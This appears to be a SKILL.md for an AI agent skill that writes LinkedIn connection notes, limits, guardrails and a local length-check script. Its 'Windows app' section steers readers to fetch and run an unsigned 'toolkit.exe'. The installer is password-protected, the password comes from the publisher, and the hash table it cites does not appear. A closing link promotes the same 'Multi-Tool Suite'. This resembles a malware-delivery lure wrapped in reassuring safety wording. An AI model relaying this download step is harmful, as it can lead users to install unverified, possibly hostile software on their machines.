LinkedIn Connection Request Outreach

Writes short LinkedIn connection notes and follow-up messages that fit the platform's character limits and stay inside its terms. Written for US B2B founders, sales development reps and recruiters who prospect on LinkedIn.

Use this skill when someone asks for:

• linkedin connection request template
• linkedin note character limit
• linkedin outreach message
• linkedin connection note examples

The job

Reps paste a long sales pitch into the invitation box, the note gets cut off, and the platform flags the account for repetitive connection requests.

What you get

1. Collect the prospect's role, company, one specific trigger and what the rep can actually offer.
2. Write the note in three beats: who you are, why now, one small ask.
3. Check the note against the platform character limits and trim before it goes out.
4. Draft the message for after they accept, and the stop rule for after that.

Output contract:

• connection_note - one note within the invitation character limit
• follow_up_message - the message to send once the invitation is accepted
• no_reply_note - the last touch, short and non-pushy
• profile_checklist - the facts that must be true before the rep hits send

US specifics that matter

• LinkedIn caps an invitation note at 300 characters, and a longer note cannot be sent.
• LinkedIn InMail allows a subject of up to 300 characters and a message body of up to 800 characters.
• LinkedIn's User Agreement prohibits scripts, bots and scraping, and accounts get restricted for automated connection activity.
• LinkedIn applies a weekly invitation cap that depends on the membership tier, so a burst of requests can trigger a limit.
• A commercial message on a third-party platform is still covered by the deception rules in Section 5 of the FTC Act.

Guardrails (hard rules)

• Never run connection automation or an extension that clicks connect automatically; the platform's terms prohibit it and the account can be restricted.
• Never guess or pattern-match a personal email address to reach the prospect off-platform.
• Never claim a shared connection, a former employer or a referral that the rep cannot point to in the profile.
• Never send a message to someone who asked not to be contacted.

Quickstart

1. Fill in the brief

templates/linkedin-note.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/check_note_lengths.py --input linkedin-note.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/linkedin-outreach-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Character limits

• Invitation note: 300 characters maximum.
• InMail subject line: 300 characters; InMail body: 800 characters.
• Profile headline: 220 characters, which is the length people actually read.

What gets an account restricted

• Automated invitations and any tool that reads the site for you.
• The same note pasted to many people in one session.
• A daily connection volume that no one could build by hand.
• Any tool that stores the rep's login credentials.

US rules that still apply

• The platform is not a free pass: a deceptive claim is still deceptive under Section 5 of the FTC Act.
• Keep a record of who you contacted and when, in ET, with the profile link you used.
• Treat a request to stop as permanent and remove the record from your outreach list.
• A phone or text follow-up still runs into TCPA consent rules.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/linkedin-outreach-rules.md - LinkedIn outreach limits and US outreach rules
• templates/linkedin-note.yaml - the brief to fill in
• scripts/check_note_lengths.py - the working script

Verify the bundle

python3 scripts/check_note_lengths.py --input linkedin-note.yaml --out ./out

Related

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• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.